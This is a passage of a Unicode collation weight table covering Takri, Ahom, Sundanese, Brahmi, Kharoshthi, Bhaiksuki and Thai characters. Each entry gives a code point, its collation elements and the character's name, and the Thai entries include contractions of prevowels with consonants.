[.2C60.0020.0002] # TAKRI LETTER BHA -116A2 ; [.2C61.0020.0002] # TAKRI LETTER MA -116A3 ; [.2C62.0020.0002] # TAKRI LETTER YA -116A4 ; [.2C63.0020.0002] # TAKRI LETTER RA -116A5 ; [.2C64.0020.0002] # TAKRI LETTER LA -116A6 ; [.2C65.0020.0002] # TAKRI LETTER VA -116AA ; [.2C66.0020.0002] # TAKRI LETTER RRA -116AD ; [.2C67.0020.0002] # TAKRI VOWEL SIGN AA -116AE ; [.2C68.0020.0002] # TAKRI VOWEL SIGN I -116AF ; [.2C69.0020.0002] # TAKRI VOWEL SIGN II -116B0 ; [.2C6A.0020.0002] # TAKRI VOWEL SIGN U -116B1 ; [.2C6B.0020.0002] # TAKRI VOWEL SIGN UU -116B2 ; [.2C6C.0020.0002] # TAKRI VOWEL SIGN E -116B3 ; [.2C6D.0020.0002] # TAKRI VOWEL SIGN AI -116B4 ; [.2C6E.0020.0002] # TAKRI VOWEL SIGN O -116B5 ; [.2C6F.0020.0002] # TAKRI VOWEL SIGN AU -116B6 ; [.2C70.0020.0002] # TAKRI SIGN VIRAMA -11700 ; [.2C71.0020.0002] # AHOM LETTER KA -11701 ; [.2C72.0020.0002] # AHOM LETTER KHA -11702 ; [.2C73.0020.0002] # AHOM LETTER NGA -11703 ; [.2C74.0020.0002] # AHOM LETTER NA -11704 ; [.2C75.0020.0002] # AHOM LETTER TA -11705 ; [.2C75.0020.0004][.0000.0110.0004] # AHOM LETTER ALTERNATE TA -11706 ; [.2C76.0020.0002] # AHOM LETTER PA -11707 ; [.2C77.0020.0002] # AHOM LETTER PHA -11708 ; [.2C78.0020.0002] # AHOM LETTER BA -11709 ; [.2C79.0020.0002] # AHOM LETTER MA -1170A ; [.2C7A.0020.0002] # AHOM LETTER JA -1170B ; [.2C7B.0020.0002] # AHOM LETTER CHA -1170C ; [.2C7C.0020.0002] # AHOM LETTER THA -1170D ; [.2C7D.0020.0002] # AHOM LETTER RA -1170E ; [.2C7E.0020.0002] # AHOM LETTER LA -1170F ; [.2C7F.0020.0002] # AHOM LETTER SA -11710 ; [.2C80.0020.0002] # AHOM LETTER NYA -11711 ; [.2C81.0020.0002] # AHOM LETTER HA -11712 ; [.2C82.0020.0002] # AHOM LETTER A -11713 ; [.2C83.0020.0002] # AHOM LETTER DA -11714 ; [.2C84.0020.0002] # AHOM LETTER DHA -11715 ; [.2C85.0020.0002] # AHOM LETTER GA -11716 ; [.2C85.0020.0004][.0000.0110.0004] # AHOM LETTER ALTERNATE GA -11717 ; [.2C86.0020.0002] # AHOM LETTER GHA -11718 ; [.2C87.0020.0002] # AHOM LETTER BHA -11719 ; [.2C88.0020.0002] # AHOM LETTER JHA -11720 ; [.2C89.0020.0002] # AHOM VOWEL SIGN A -11721 ; [.2C8A.0020.0002] # AHOM VOWEL SIGN AA -11722 ; [.2C8B.0020.0002] # AHOM VOWEL SIGN I -11723 ; [.2C8C.0020.0002] # AHOM VOWEL SIGN II -11724 ; [.2C8D.0020.0002] # AHOM VOWEL SIGN U -11725 ; [.2C8E.0020.0002] # AHOM VOWEL SIGN UU -11726 ; [.2C8F.0020.0002] # AHOM VOWEL SIGN E -11727 ; [.2C90.0020.0002] # AHOM VOWEL SIGN AW -11728 ; [.2C91.0020.0002] # AHOM VOWEL SIGN O -11729 ; [.2C92.0020.0002] # AHOM VOWEL SIGN AI -1172A ; [.2C93.0020.0002] # AHOM VOWEL SIGN AM -1172B ; [.2C94.0020.0002] # AHOM SIGN KILLER -1171D ; [.2C95.0020.0002] # AHOM CONSONANT SIGN MEDIAL LA -1171E ; [.2C96.0020.0002] # AHOM CONSONANT SIGN MEDIAL RA -1171F ; [.2C97.0020.0002] # AHOM CONSONANT SIGN MEDIAL LIGATING RA -1B83 ; [.2C98.0020.0002] # SUNDANESE LETTER A -1BBA ; [.2C98.0020.0004] # SUNDANESE AVAGRAHA -1B84 ; [.2C99.0020.0002] # SUNDANESE LETTER I -1B85 ; [.2C9A.0020.0002] # SUNDANESE LETTER U -1B86 ; [.2C9B.0020.0002] # SUNDANESE LETTER AE -1B87 ; [.2C9C.0020.0002] # SUNDANESE LETTER O -1B88 ; [.2C9D.0020.0002] # SUNDANESE LETTER E -1B89 ; [.2C9E.0020.0002] # SUNDANESE LETTER EU -1B8A ; [.2C9F.0020.0002] # SUNDANESE LETTER KA -1BBE ; [.2C9F.0020.0019] # SUNDANESE LETTER FINAL K -1BAE ; [.2CA0.0020.0002] # SUNDANESE LETTER KHA -1B8B ; [.2CA1.0020.0002] # SUNDANESE LETTER QA -1B8C ; [.2CA2.0020.0002] # SUNDANESE LETTER GA -1B8D ; [.2CA3.0020.0002] # SUNDANESE LETTER NGA -1B8E ; [.2CA4.0020.0002] # SUNDANESE LETTER CA -1B8F ; [.2CA5.0020.0002] # SUNDANESE LETTER JA -1B90 ; [.2CA6.0020.0002] # SUNDANESE LETTER ZA -1B91 ; [.2CA7.0020.0002] # SUNDANESE LETTER NYA -1B92 ; [.2CA8.0020.0002] # SUNDANESE LETTER TA -1B93 ; [.2CA9.0020.0002] # SUNDANESE LETTER DA -1B94 ; [.2CAA.0020.0002] # SUNDANESE LETTER NA -1B95 ; [.2CAB.0020.0002] # SUNDANESE LETTER PA -1B96 ; [.2CAC.0020.0002] # SUNDANESE LETTER FA -1B97 ; [.2CAD.0020.0002] # SUNDANESE LETTER VA -1B98 ; [.2CAE.0020.0002] # SUNDANESE LETTER BA -1BBD ; [.2CAF.0020.0002] # SUNDANESE LETTER BHA -1B99 ; [.2CB0.0020.0002] # SUNDANESE LETTER MA -1BBF ; [.2CB0.0020.0019] # SUNDANESE LETTER FINAL M -1BAC ; [.2CB1.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN MA -1B9A ; [.2CB2.0020.0002] # SUNDANESE LETTER YA -1BA1 ; [.2CB3.0020.0002] # SUNDANESE CONSONANT SIGN PAMINGKAL -1B9B ; [.2CB4.0020.0002] # SUNDANESE LETTER RA -1BA2 ; [.2CB5.0020.0002] # SUNDANESE CONSONANT SIGN PANYAKRA -1BBB ; [.2CB6.0020.0002] # SUNDANESE LETTER REU -1B9C ; [.2CB7.0020.0002] # SUNDANESE LETTER LA -1BA3 ; [.2CB8.0020.0002] # SUNDANESE CONSONANT SIGN PANYIKU -1BBC ; [.2CB9.0020.0002] # SUNDANESE LETTER LEU -1B9D ; [.2CBA.0020.0002] # SUNDANESE LETTER WA -1BAD ; [.2CBB.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN WA -1B9E ; [.2CBC.0020.0002] # SUNDANESE LETTER SA -1B9F ; [.2CBD.0020.0002] # SUNDANESE LETTER XA -1BAF ; [.2CBE.0020.0002] # SUNDANESE LETTER SYA -1BA0 ; [.2CBF.0020.0002] # SUNDANESE LETTER HA -1BA4 ; [.2CC0.0020.0002] # SUNDANESE VOWEL SIGN PANGHULU -1BA5 ; [.2CC1.0020.0002] # SUNDANESE VOWEL SIGN PANYUKU -1BA6 ; [.2CC2.0020.0002] # SUNDANESE VOWEL SIGN PANAELAENG -1BA7 ; [.2CC3.0020.0002] # SUNDANESE VOWEL SIGN PANOLONG -1BA8 ; [.2CC4.0020.0002] # SUNDANESE VOWEL SIGN PAMEPET -1BA9 ; [.2CC5.0020.0002] # SUNDANESE VOWEL SIGN PANEULEUNG -1BAA ; [.2CC6.0020.0002] # SUNDANESE SIGN PAMAAEH -1BAB ; [.2CC7.0020.0002] # SUNDANESE SIGN VIRAMA -11005 ; [.2CC8.0020.0002] # BRAHMI LETTER A -11006 ; [.2CC9.0020.0002] # BRAHMI LETTER AA -11007 ; [.2CCA.0020.0002] # BRAHMI LETTER I -11008 ; [.2CCB.0020.0002] # BRAHMI LETTER II -11009 ; [.2CCC.0020.0002] # BRAHMI LETTER U -1100A ; [.2CCD.0020.0002] # BRAHMI LETTER UU -1100B ; [.2CCE.0020.0002] # BRAHMI LETTER VOCALIC R -1100C ; [.2CCF.0020.0002] # BRAHMI LETTER VOCALIC RR -1100D ; [.2CD0.0020.0002] # BRAHMI LETTER VOCALIC L -1100E ; [.2CD1.0020.0002] # BRAHMI LETTER VOCALIC LL -1100F ; [.2CD2.0020.0002] # BRAHMI LETTER E -11010 ; [.2CD3.0020.0002] # BRAHMI LETTER AI -11011 ; [.2CD4.0020.0002] # BRAHMI LETTER O -11012 ; [.2CD5.0020.0002] # BRAHMI LETTER AU -11013 ; [.2CD6.0020.0002] # BRAHMI LETTER KA -11014 ; [.2CD7.0020.0002] # BRAHMI LETTER KHA -11015 ; [.2CD8.0020.0002] # BRAHMI LETTER GA -11016 ; [.2CD9.0020.0002] # BRAHMI LETTER GHA -11017 ; [.2CDA.0020.0002] # BRAHMI LETTER NGA -11018 ; [.2CDB.0020.0002] # BRAHMI LETTER CA -11019 ; [.2CDC.0020.0002] # BRAHMI LETTER CHA -1101A ; [.2CDD.0020.0002] # BRAHMI LETTER JA -1101B ; [.2CDE.0020.0002] # BRAHMI LETTER JHA -1101C ; [.2CDF.0020.0002] # BRAHMI LETTER NYA -1101D ; [.2CE0.0020.0002] # BRAHMI LETTER TTA -1101E ; [.2CE1.0020.0002] # BRAHMI LETTER TTHA -1101F ; [.2CE2.0020.0002] # BRAHMI LETTER DDA -11020 ; [.2CE3.0020.0002] # BRAHMI LETTER DDHA -11021 ; [.2CE4.0020.0002] # BRAHMI LETTER NNA -11022 ; [.2CE5.0020.0002] # BRAHMI LETTER TA -11023 ; [.2CE6.0020.0002] # BRAHMI LETTER THA -11024 ; [.2CE7.0020.0002] # BRAHMI LETTER DA -11025 ; [.2CE8.0020.0002] # BRAHMI LETTER DHA -11026 ; [.2CE9.0020.0002] # BRAHMI LETTER NA -11027 ; [.2CEA.0020.0002] # BRAHMI LETTER PA -11028 ; [.2CEB.0020.0002] # BRAHMI LETTER PHA -11029 ; [.2CEC.0020.0002] # BRAHMI LETTER BA -1102A ; [.2CED.0020.0002] # BRAHMI LETTER BHA -1102B ; [.2CEE.0020.0002] # BRAHMI LETTER MA -1102C ; [.2CEF.0020.0002] # BRAHMI LETTER YA -1102D ; [.2CF0.0020.0002] # BRAHMI LETTER RA -1102E ; [.2CF1.0020.0002] # BRAHMI LETTER LA -1102F ; [.2CF2.0020.0002] # BRAHMI LETTER VA -11030 ; [.2CF3.0020.0002] # BRAHMI LETTER SHA -11031 ; [.2CF4.0020.0002] # BRAHMI LETTER SSA -11032 ; [.2CF5.0020.0002] # BRAHMI LETTER SA -11033 ; [.2CF6.0020.0002] # BRAHMI LETTER HA -11003 ; [.2CF7.0020.0002] # BRAHMI SIGN JIHVAMULIYA -11004 ; [.2CF8.0020.0002] # BRAHMI SIGN UPADHMANIYA -11034 ; [.2CF9.0020.0002] # BRAHMI LETTER LLA -11035 ; [.2CFA.0020.0002] # BRAHMI LETTER OLD TAMIL LLLA -11036 ; [.2CFB.0020.0002] # BRAHMI LETTER OLD TAMIL RRA -11037 ; [.2CFC.0020.0002] # BRAHMI LETTER OLD TAMIL NNNA -11038 ; [.2CFD.0020.0002] # BRAHMI VOWEL SIGN AA -11039 ; [.2CFE.0020.0002] # BRAHMI VOWEL SIGN BHATTIPROLU AA -1103A ; [.2CFF.0020.0002] # BRAHMI VOWEL SIGN I -1103B ; [.2D00.0020.0002] # BRAHMI VOWEL SIGN II -1103C ; [.2D01.0020.0002] # BRAHMI VOWEL SIGN U -1103D ; [.2D02.0020.0002] # BRAHMI VOWEL SIGN UU -1103E ; [.2D03.0020.0002] # BRAHMI VOWEL SIGN VOCALIC R -1103F ; [.2D04.0020.0002] # BRAHMI VOWEL SIGN VOCALIC RR -11040 ; [.2D05.0020.0002] # BRAHMI VOWEL SIGN VOCALIC L -11041 ; [.2D06.0020.0002] # BRAHMI VOWEL SIGN VOCALIC LL -11042 ; [.2D07.0020.0002] # BRAHMI VOWEL SIGN E -11043 ; [.2D08.0020.0002] # BRAHMI VOWEL SIGN AI -11044 ; [.2D09.0020.0002] # BRAHMI VOWEL SIGN O -11045 ; [.2D0A.0020.0002] # BRAHMI VOWEL SIGN AU -11046 ; [.2D0B.0020.0002] # BRAHMI VIRAMA -1107F ; [.2D0C.0020.0002] # BRAHMI NUMBER JOINER -10A00 ; [.2D0D.0020.0002] # KHAROSHTHI LETTER A -10A01 ; [.2D0E.0020.0002] # KHAROSHTHI VOWEL SIGN I -10A02 ; [.2D0F.0020.0002] # KHAROSHTHI VOWEL SIGN U -10A03 ; [.2D10.0020.0002] # KHAROSHTHI VOWEL SIGN VOCALIC R -10A05 ; [.2D11.0020.0002] # KHAROSHTHI VOWEL SIGN E -10A06 ; [.2D12.0020.0002] # KHAROSHTHI VOWEL SIGN O -10A0C ; [.2D13.0020.0002] # KHAROSHTHI VOWEL LENGTH MARK -10A10 ; [.2D14.0020.0002] # KHAROSHTHI LETTER KA -10A11 ; [.2D15.0020.0002] # KHAROSHTHI LETTER KHA -10A12 ; [.2D16.0020.0002] # KHAROSHTHI LETTER GA -10A13 ; [.2D17.0020.0002] # KHAROSHTHI LETTER GHA -10A15 ; [.2D18.0020.0002] # KHAROSHTHI LETTER CA -10A16 ; [.2D19.0020.0002] # KHAROSHTHI LETTER CHA -10A17 ; [.2D1A.0020.0002] # KHAROSHTHI LETTER JA -10A19 ; [.2D1B.0020.0002] # KHAROSHTHI LETTER NYA -10A1A ; [.2D1C.0020.0002] # KHAROSHTHI LETTER TTA -10A1B ; [.2D1D.0020.0002] # KHAROSHTHI LETTER TTHA -10A1C ; [.2D1E.0020.0002] # KHAROSHTHI LETTER DDA -10A1D ; [.2D1F.0020.0002] # KHAROSHTHI LETTER DDHA -10A1E ; [.2D20.0020.0002] # KHAROSHTHI LETTER NNA -10A1F ; [.2D21.0020.0002] # KHAROSHTHI LETTER TA -10A20 ; [.2D22.0020.0002] # KHAROSHTHI LETTER THA -10A21 ; [.2D23.0020.0002] # KHAROSHTHI LETTER DA -10A22 ; [.2D24.0020.0002] # KHAROSHTHI LETTER DHA -10A23 ; [.2D25.0020.0002] # KHAROSHTHI LETTER NA -10A24 ; [.2D26.0020.0002] # KHAROSHTHI LETTER PA -10A25 ; [.2D27.0020.0002] # KHAROSHTHI LETTER PHA -10A26 ; [.2D28.0020.0002] # KHAROSHTHI LETTER BA -10A27 ; [.2D29.0020.0002] # KHAROSHTHI LETTER BHA -10A28 ; [.2D2A.0020.0002] # KHAROSHTHI LETTER MA -10A29 ; [.2D2B.0020.0002] # KHAROSHTHI LETTER YA -10A2A ; [.2D2C.0020.0002] # KHAROSHTHI LETTER RA -10A2B ; [.2D2D.0020.0002] # KHAROSHTHI LETTER LA -10A2C ; [.2D2E.0020.0002] # KHAROSHTHI LETTER VA -10A2D ; [.2D2F.0020.0002] # KHAROSHTHI LETTER SHA -10A2E ; [.2D30.0020.0002] # KHAROSHTHI LETTER SSA -10A2F ; [.2D31.0020.0002] # KHAROSHTHI LETTER SA -10A30 ; [.2D32.0020.0002] # KHAROSHTHI LETTER ZA -10A31 ; [.2D33.0020.0002] # KHAROSHTHI LETTER HA -10A32 ; [.2D34.0020.0002] # KHAROSHTHI LETTER KKA -10A33 ; [.2D35.0020.0002] # KHAROSHTHI LETTER TTTHA -10A3F ; [.2D36.0020.0002] # KHAROSHTHI VIRAMA -11C00 ; [.2D37.0020.0002] # BHAIKSUKI LETTER A -11C01 ; [.2D38.0020.0002] # BHAIKSUKI LETTER AA -11C02 ; [.2D39.0020.0002] # BHAIKSUKI LETTER I -11C03 ; [.2D3A.0020.0002] # BHAIKSUKI LETTER II -11C04 ; [.2D3B.0020.0002] # BHAIKSUKI LETTER U -11C05 ; [.2D3C.0020.0002] # BHAIKSUKI LETTER UU -11C06 ; [.2D3D.0020.0002] # BHAIKSUKI LETTER VOCALIC R -11C07 ; [.2D3E.0020.0002] # BHAIKSUKI LETTER VOCALIC RR -11C08 ; [.2D3F.0020.0002] # BHAIKSUKI LETTER VOCALIC L -11C0A ; [.2D40.0020.0002] # BHAIKSUKI LETTER E -11C0B ; [.2D41.0020.0002] # BHAIKSUKI LETTER AI -11C0C ; [.2D42.0020.0002] # BHAIKSUKI LETTER O -11C0D ; [.2D43.0020.0002] # BHAIKSUKI LETTER AU -11C0E ; [.2D44.0020.0002] # BHAIKSUKI LETTER KA -11C0F ; [.2D45.0020.0002] # BHAIKSUKI LETTER KHA -11C10 ; [.2D46.0020.0002] # BHAIKSUKI LETTER GA -11C11 ; [.2D47.0020.0002] # BHAIKSUKI LETTER GHA -11C12 ; [.2D48.0020.0002] # BHAIKSUKI LETTER NGA -11C13 ; [.2D49.0020.0002] # BHAIKSUKI LETTER CA -11C14 ; [.2D4A.0020.0002] # BHAIKSUKI LETTER CHA -11C15 ; [.2D4B.0020.0002] # BHAIKSUKI LETTER JA -11C16 ; [.2D4C.0020.0002] # BHAIKSUKI LETTER JHA -11C17 ; [.2D4D.0020.0002] # BHAIKSUKI LETTER NYA -11C18 ; [.2D4E.0020.0002] # BHAIKSUKI LETTER TTA -11C19 ; [.2D4F.0020.0002] # BHAIKSUKI LETTER TTHA -11C1A ; [.2D50.0020.0002] # BHAIKSUKI LETTER DDA -11C1B ; [.2D51.0020.0002] # BHAIKSUKI LETTER DDHA -11C1C ; [.2D52.0020.0002] # BHAIKSUKI LETTER NNA -11C1D ; [.2D53.0020.0002] # BHAIKSUKI LETTER TA -11C1E ; [.2D54.0020.0002] # BHAIKSUKI LETTER THA -11C1F ; [.2D55.0020.0002] # BHAIKSUKI LETTER DA -11C20 ; [.2D56.0020.0002] # BHAIKSUKI LETTER DHA -11C21 ; [.2D57.0020.0002] # BHAIKSUKI LETTER NA -11C22 ; [.2D58.0020.0002] # BHAIKSUKI LETTER PA -11C23 ; [.2D59.0020.0002] # BHAIKSUKI LETTER PHA -11C24 ; [.2D5A.0020.0002] # BHAIKSUKI LETTER BA -11C25 ; [.2D5B.0020.0002] # BHAIKSUKI LETTER BHA -11C26 ; [.2D5C.0020.0002] # BHAIKSUKI LETTER MA -11C27 ; [.2D5D.0020.0002] # BHAIKSUKI LETTER YA -11C28 ; [.2D5E.0020.0002] # BHAIKSUKI LETTER RA -11C29 ; [.2D5F.0020.0002] # BHAIKSUKI LETTER LA -11C2A ; [.2D60.0020.0002] # BHAIKSUKI LETTER VA -11C2B ; [.2D61.0020.0002] # BHAIKSUKI LETTER SHA -11C2C ; [.2D62.0020.0002] # BHAIKSUKI LETTER SSA -11C2D ; [.2D63.0020.0002] # BHAIKSUKI LETTER SA -11C2E ; [.2D64.0020.0002] # BHAIKSUKI LETTER HA -11C40 ; [.2D65.0020.0002] # BHAIKSUKI SIGN AVAGRAHA -11C2F ; [.2D66.0020.0002] # BHAIKSUKI VOWEL SIGN AA -11C30 ; [.2D67.0020.0002] # BHAIKSUKI VOWEL SIGN I -11C31 ; [.2D68.0020.0002] # BHAIKSUKI VOWEL SIGN II -11C32 ; [.2D69.0020.0002] # BHAIKSUKI VOWEL SIGN U -11C33 ; [.2D6A.0020.0002] # BHAIKSUKI VOWEL SIGN UU -11C34 ; [.2D6B.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC R -11C35 ; [.2D6C.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC RR -11C36 ; [.2D6D.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC L -11C38 ; [.2D6E.0020.0002] # BHAIKSUKI VOWEL SIGN E -11C39 ; [.2D6F.0020.0002] # BHAIKSUKI VOWEL SIGN AI -11C3A ; [.2D70.0020.0002] # BHAIKSUKI VOWEL SIGN O -11C3B ; [.2D71.0020.0002] # BHAIKSUKI VOWEL SIGN AU -11C3F ; [.2D72.0020.0002] # BHAIKSUKI SIGN VIRAMA -0E01 ; [.2D73.0020.0002] # THAI CHARACTER KO KAI -0E40 0E01 ; [.2D73.0020.0002][.2DAD.0020.0002] # -0E41 0E01 ; [.2D73.0020.0002][.2DAE.0020.0002] # -0E42 0E01 ; [.2D73.0020.0002][.2DAF.0020.0002] # -0E43 0E01 ; [.2D73.0020.0002][.2DB0.0020.0002] # -0E44 0E01 ; [.2D73.0020.0002][.2DB1.0020.0002] # -0E02 ; [.2D74.0020.0002] # THAI CHARACTER KHO KHAI -0E40 0E02 ; [.2D74.0020.0002][.2DAD.0020.0002] # -0E41 0E02 ; [.2D74.0020.0002][.2DAE.0020.0002] # -0E42 0E02 ; [.2D74.0020.0002][.2DAF.0020.0002] # -0E43 0E02 ; [.2D74.0020.0002][.2DB0.0020.0002] # -0E44 0E02 ; [.2D74.0020.0002][.2DB1.0020.0002] # -0E03 ; [.2D75.0020.0002] # THAI CHARACTER KHO KHUAT -0E40 0E03 ; [.2D75.0020.0002][.2DAD.0020.0002] # -0E41 0E03 ; [.2D75.0020.0002][.2DAE.0020.0002] # -0E42 0E03 ; [.2D75.0020.0002][.2DAF.0020.0002] # -0E43 0E03 ; [.2D75.0020.0002][.2DB0.0020.0002] # -0E44 0E03 ; [.2D75.0020.0002][.2DB1.0020.0002] # -0E04 ; [.2D76.0020.0002] # THAI CHARACTER KHO KHWAI -0E40 0E04 ; [.2D76.0020.0002][.2DAD.0020.0002] # -0E41 0E04 ; [.2D76.0020.0002][.2DAE.0020.0002] # -0E42 0E04 ; [.2D76.0020.0002][.2DAF.0020.0002] # -0E43 0E04 ; [.2D76.0020.0002][.2DB0.0020.0002] # -0E44 0E04 ; [.2D76.0020.0002][.2DB1.0020.0002] # -0E05 ; [.2D77.0020.0002] # THAI CHARACTER KHO KHON -0E40 0E05 ; [.2D77.0020.0002][.2DAD.0020.0002] # -0E41 0E05 ; [.2D77.0020.0002][.2DAE.0020.0002] # -0E42 0E05 ; [.2D77.0020.0002][.2DAF.0020.0002] # -0E43 0E05 ; [.2D77.0020.0002][.2DB0.0020.0002] # -0E44 0E05 ; [.2D77.0020.0002][.2DB1.0020.0002] # -0E06 ; [.2D78.0020.0002] # THAI CHARACTER KHO RAKHANG -0E40 0E06 ; [.2D78.0020.0002][.2DAD.0020.0002] # -0E41 0E06 ; [.2D78.0020.0002][.2DAE.0020.0002] # -0E42 0E06 ; [.2D78.0020.0002][.2DAF.0020.0002] # -0E43 0E06 ; [.2D78.0020.0002][.2DB0.0020.0002] # -0E44 0E06 ; [.2D78.0020.0002][.2DB1.0020.0002] # -0E07 ; [.2D79.0020.0002] # THAI CHARACTER NGO NGU -0E40 0E07 ; [.2D79.0020.0002][.2DAD.0020.0002] # -0E41 0E07 ; [.2D79.0020.0002][.2DAE.0020.0002] # -0E42 0E07 ; [.2D79.0020.0002][.2DAF.0020.0002] # -0E43 0E07 ; [.2D79.0020.0002][.2DB0.0020.0002] # -0E44 0E07 ; [.2D79.0020.0002][.2DB1.0020.0002] # -0E08 ; [.2D7A.0020.0002] # THAI CHARACTER CHO CHAN -0E40 0E08 ; [.2D7A.0020.0002][.2DAD.0020.0002] # -0E41 0E08 ; [.2D7A.0020.0002][.2DAE.0020.0002] # -0E42 0E08 ; [.2D7A.0020.0002][.2DAF.0020.0002] # -0E43 0E08 ; [.2D7A.0020.0002][.2DB0.0020.0002] # -0E44 0E08 ; [.2D7A.0020.0002][.2DB1.0020.0002] # -0E09 ; [.2D7B.0020.0002] # THAI CHARACTER CHO CHING -0E40 0E09 ; [.2D7B.0020.0002][.2DAD.0020.0002] # -0E41 0E09 ; [.2D7B.0020.0002][.2DAE.0020.0002] # -0E42 0E09 ; [.2D7B.0020.0002][.2DAF.0020.0002] # -0E43 0E09 ; [.2D7B.0020.0002][.2DB0.0020.0002] # -0E44 0E09 ; [.2D7B.0020.0002][.2DB1.0020.0002] # -0E0A ; [.2D7C.0020.0002] # THAI CHARACTER CHO CHANG -0E40 0E0A ; [.2D7C.0020.0002][.2DAD.0020.0002] # -0E41 0E0A ; [.2D7C.0020.0002][.2DAE.0020.0002] # -0E42 0E0A ; [.2D7C.0020.0002][.2DAF.0020.0002] # -0E43 0E0A ; [.2D7C.0020.0002][.2DB0.0020.0002] # -0E44 0E0A ; [.2D7C.0020.0002][.2DB1.0020.0002] # -0E0B ; [.2D7D.0020.0002] # THAI CHARACTER SO SO -0E40 0E0B ; [.2D7D.0020.0002][.2DAD.0020.0002] # -0E41 0E0B ; [.2D7D.0020.0002][.2DAE.0020.0002] # -0E42 0E0B ; [.2D7D.0020.0002][.2DAF.0020.0002] # -0E43 0E0B ; [.2D7D.0020.0002][.2DB0.0020.0002] # -0E44 0E0B ; [.2D7D.0020.0002][.2DB1.0020.0002] # -0E0C ; [.2D7E.0020.0002] # THAI CHARACTER CHO CHOE -0E40 0E0C ; [.2D7E.0020.0002][.2DAD.0020.0002] # -0E41 0E0C ; [.2D7E.0020.0002][.2DAE.0020.0002] # -0E42 0E0C ; [.2D7E.0020.0002][.2DAF.0020.0002] # -0E43 0E0C ; [.2D7E.0020.0002][.2DB0.0020.0002] # -0E44 0E0C ; [.2D7E.0020.0002][.2DB1.0020.0002] # -0E0D ; [.2D7F.0020.0002] # THAI CHARACTER YO YING -0E40 0E0D ; [.2D7F.0020.0002][.2DAD.0020.0002] # -0E41 0E0D ; [.2D7F.0020.0002][.2DAE.0020.0002] # -0E42 0E0D ; [.2D7F.0020.0002][.2DAF.0020.0002] # -0E43 0E0D ; [.2D7F.0020.0002][.2DB0.0020.0002] # -0E44 0E0D ; [.2D7F.0020.0002][.2DB1.0020.0002] # -0E0E ; [.2D80.0020.0002] # THAI CHARACTER DO CHADA -0E40 0E0E ; [.2D80.0020.0002][.2DAD.0020.0002] # -0E41 0E0E ; [.2D80.0020.0002][.2DAE.0020.0002] # -0E42 0E0E ; [.2D80.0020.0002][.2DAF.0020.0002] # -0E43 0E0E ; [.2D80.0020.0002][.2DB0.0020.0002] # -0E44 0E0E ; [.2D80.0020.0002][.2DB1.0020.0002] # -0E0F ; [.2D81.0020.0002] # THAI CHARACTER TO PATAK -0E40 0E0F ; [.2D81.0020.0002][.2DAD.0020.0002] # -0E41 0E0F ; [.2D81.0020.0002][.2DAE.0020.0002] # -0E42 0E0F ; [.2D81.0020.0002][.2DAF.0020.0002] # -0E43 0E0F ; [.2D81.0020.0002][.2DB0.0020.0002] # -0E44 0E0F ; [.2D81.0020.0002][.2DB1.0020.0002] # -0E10 ; [.2D82.0020.0002] # THAI CHARACTER THO THAN -0E40 0E10 ; [.2D82.0020.0002][.2DAD.0020.0002] # -0E41 0E10 ; [.2D82.0020.0002][.2DAE.0020.0002] # -0E42 0E10 ; [.2D82.0020.0002][.2DAF.0020.0002] # -0E43 0E10 ; [.2D82.0020.0002][.2DB0.0020.0002] # -0E44 0E10 ; [.2D82.0020.0002][.2DB1.0020.0002] # -0E11 ; [.2D83.0020.0002] # THAI CHARACTER THO NANGMONTHO -0E40 0E11 ; [.2D83.0020.0002][.2DAD.0020.0002] # -0E41 0E11 ; [.2D83.0020.0002][.2DAE.0020.0002] # -0E42 0E11 ; [.2D83.0020.0002][.2DAF.0020.0002] # -0E43 0E11 ; [.2D83.0020.0002][.2DB0.0020.0002] # -0E44 0E11 ; [.2D83.0020.0002][.2DB1.0020.0002] # -0E12 ; [.2D84.0020.0002] # THAI CHARACTER THO PHUTHAO -0E40 0E12 ; [.2D84.0020.0002][.2DAD.0020.0002] # -0E41 0E12 ; [.2D84.0020.0002][.2DAE.0020.0002] # -0E42 0E12 ; [.2D84.0020.0002][.2DAF.0020.0002] # -0E43 0E12 ; [.2D84.0020.0002][.2DB0.0020.0002] # -0E44 0E12 ; [.2D84.0020.0002][.2DB1.0020.0002] # -0E13 ; [.2D85.0020.0002] # THAI CHARACTER NO NEN -0E40 0E13 ; [.2D85.0020.0002][.2DAD.0020.0002] # -0E41 0E13 ; [.2D85.0020.0002][.2DAE.0020.0002] # -0E42 0E13 ; [.2D85.0020.0002][.2DAF.0020.0002] # -0E43 0E13 ; [.2D85.0020.0002][.2DB0.0020.0002] # -0E44 0E13 ; [.2D85.0020.0002][.2DB1.0020.0002] # -0E14 ; [.2D86.0020.0002] # THAI CHARACTER DO DEK -0E40 0E14 ; [.2D86.0020.0002][.2DAD.0020.0002] # -0E41 0E14 ; [.2D86.0020.0002][.2DAE.0020.0002] # -0E42 0E14 ; [.2D86.0020.0002][.2DAF.0020.0002] # -0E43 0E14 ; [.2D86.0020.0002][.2DB0.0020.0002] # -0E44 0E14 ; [.2D86.0020.0002][.2DB1.0020.0002] # -0E15 ; [.2D87.0020.0002] # THAI CHARACTER TO TAO -0E40 0E15 ; [.2D87.0020.0002][.2DAD.0020.0002] # -0E41 0E15 ; [.2D87.0020.0002][.2DAE.0020.0002] # -0E42 0E15 ; [.2D87.0020.0002][.2DAF.0020.0002] # -0E43 0E15 ; [.2D87.0020.0002][.2DB0.0020.0002] # -0E44 0E15 ; [.2D87.0020.0002][.2DB1.0020.0002] # -0E16 ; [.2D88.0020.0002] # THAI CHARACTER THO THUNG -0E40 0E16 ; [.2D88.0020.0002][.2DAD.0020.0002] # -0E41 0E16 ; [.2D88.0020.0002][.2DAE.0020.0002] # -0E42 0E16 ; [.2D88.0020.0002][.2DAF.0020.0002] # -0E43 0E16 ; [.2D88.0020.0002][.2DB0.0020.0002] # -0E44 0E16 ; [.2D88.0020.0002][.2DB1.0020.0002] # -0E17 ; [.2D89.0020.0002] # THAI CHARACTER THO THAHAN -0E40 0E17 ; [.2D89.0020.0002][.2DAD.0020.0002] # -0E41 0E17 ; [.2D89.0020.0002][.2DAE.0020.0002] # -0E42 0E17 ; [.2D89.0020.0002][.2DAF.0020.0002] # -0E43 0E17 ; [.2D89.0020.0002][.2DB0.0020.0002] # -0E44 0E17 ; [.2D89.0020.0002][.2DB1.0020.0002] # -0E18 ; [.2D8A.0020.0002] # THAI CHARACTER THO THONG -0E40 0E18 ; [.2D8A.0020.0002][.2DAD.0020.0002] # -0E41 0E18 ; 